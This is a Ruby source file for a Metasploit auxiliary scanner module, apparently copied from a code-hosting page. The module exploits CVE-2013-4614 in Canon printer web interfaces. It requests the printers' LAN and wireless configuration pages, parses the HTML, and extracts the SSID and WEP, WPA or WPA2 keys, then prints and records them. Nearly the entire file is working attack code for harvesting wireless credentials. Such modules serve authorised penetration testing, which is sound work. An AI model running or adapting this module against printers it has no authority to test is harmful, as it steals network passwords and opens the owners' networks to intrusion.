151 lines
4.2 KiB
Ruby
151 lines
4.2 KiB
Ruby
##
|
|
# This file is part of the Metasploit Framework and may be subject to
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
|
# web site for more information on licensing and terms of use.
|
|
# http://metasploit.com/
|
|
##
|
|
|
|
require 'msf/core'
|
|
require 'nokogiri'
|
|
|
|
class Metasploit3 < Msf::Auxiliary
|
|
|
|
include Msf::Auxiliary::Report
|
|
include Msf::Exploit::Remote::HttpClient
|
|
include Msf::Auxiliary::Scanner
|
|
|
|
def initialize(info={})
|
|
super(update_info(info,
|
|
'Name' => 'Canon Printer Wireless Configuration Disclosure',
|
|
'Description' => %q{
|
|
This module enumerates wireless credentials from Canon printers with a web interface.
|
|
It has been tested on Canon models: MG3100, MG5300, MG6100, MP495, MX340, MX870,
|
|
MX890, MX920.
|
|
},
|
|
'License' => MSF_LICENSE,
|
|
'Author' =>
|
|
[
|
|
'Matt "hostess" Andreko <mandreko[at]accuvant.com>'
|
|
],
|
|
'References' => [
|
|
[ 'CVE', '2013-4614' ],
|
|
[ 'OSVDB', '94417' ],
|
|
[ 'URL', 'http://www.mattandreko.com/2013/06/canon-y-u-no-security.html']
|
|
],
|
|
'DisclosureDate' => 'Jun 18 2013'))
|
|
end
|
|
|
|
def get_network_settings
|
|
begin
|
|
res = send_request_cgi({
|
|
'method' => 'GET',
|
|
'uri' => '/English/pages_MacUS/lan_set_content.html',
|
|
})
|
|
rescue
|
|
print_error("#{rhost}:#{rport} Could not connect.")
|
|
return
|
|
end
|
|
|
|
if res
|
|
if res.code == 200
|
|
|
|
html = Nokogiri::HTML(res.body)
|
|
|
|
checked_lan_setting = html.xpath '//input[@name="LAN_OPT1" and @checked]'
|
|
|
|
if checked_lan_setting.count == 1
|
|
lan_setting = ''
|
|
ssid = ''
|
|
case checked_lan_setting[0]['value']
|
|
when '0'
|
|
lan_setting = 'Do not use LAN'
|
|
when '1'
|
|
lan_setting = 'Use wired LAN'
|
|
when '2'
|
|
lan_setting = 'Use wireless LAN'
|
|
|
|
ssid_input = html.xpath '//input[@name="LAN_TXT1"]'
|
|
ssid = ssid_input[0]['value'] if ssid_input.count == 1
|
|
end
|
|
|
|
return lan_setting, ssid
|
|
else
|
|
print_error("#{rhost}:#{rport} Could not determine LAN Settings.")
|
|
end
|
|
|
|
elsif res.code == 401
|
|
print_error("#{rhost}:#{rport} Authentication failed")
|
|
elsif res.code == 404
|
|
print_error("#{rhost}:#{rport} File not found")
|
|
end
|
|
end
|
|
end
|
|
|
|
def get_wireless_key
|
|
begin
|
|
res = send_request_cgi({
|
|
'method' => 'GET',
|
|
'uri' => "/English/pages_MacUS/wls_set_content.html",
|
|
})
|
|
rescue
|
|
print_error("#{ip}:#{rport} Could not connect.")
|
|
return
|
|
end
|
|
|
|
if res
|
|
if res.code == 200
|
|
html = Nokogiri::HTML(res.body)
|
|
encryption_setting = ''
|
|
encryption_key = ''
|
|
|
|
checked_encryption_setting = html.xpath '//input[@name="WLS_OPT1" and @checked]'
|
|
case checked_encryption_setting[0]['value']
|
|
when '0'
|
|
encryption_setting = 'None'
|
|
when '1'
|
|
encryption_setting = 'WEP'
|
|
wep_key_inputs = html.xpath '//input[starts-with(@name, "WLS_TXT1") and not(@value="")]'
|
|
encryption_key = wep_key_inputs.collect{|x| x['value']}.join(', ')
|
|
when '2'
|
|
encryption_setting = 'WPA'
|
|
wpa_key_input = html.xpath '//input[@name="WLS_TXT2"]'
|
|
encryption_key = wpa_key_input[0]['value']
|
|
when '3'
|
|
encryption_setting = 'WPA2'
|
|
wpa2_key_input = html.xpath '//input[@name="WLS_TXT3"]'
|
|
encryption_key = wpa2_key_input[0]['value']
|
|
end
|
|
|
|
return encryption_setting, encryption_key
|
|
|
|
elsif res.code == 401
|
|
print_error("#{rhost}:#{rport} Authentication failed")
|
|
elsif res.code == 404
|
|
print_error("#{rhost}:#{rport} File not found")
|
|
end
|
|
end
|
|
end
|
|
|
|
def run_host(ip)
|
|
|
|
ns = get_network_settings
|
|
return if ns.nil?
|
|
|
|
good_string = "#{rhost}:#{rport} Option: #{ns[0]}"
|
|
if ns[0] == 'Use wireless LAN'
|
|
wireless_key = get_wireless_key
|
|
good_string += "\tSSID: #{ns[1]}\tEncryption Type: #{wireless_key[0]}\tKey: #{wireless_key[1]}"
|
|
end
|
|
|
|
report_note({
|
|
:data => good_string,
|
|
:type => 'canon.wireless',
|
|
:host => ip,
|
|
:port => rport
|
|
})
|
|
|
|
print_good good_string
|
|
|
|
end
|
|
end
|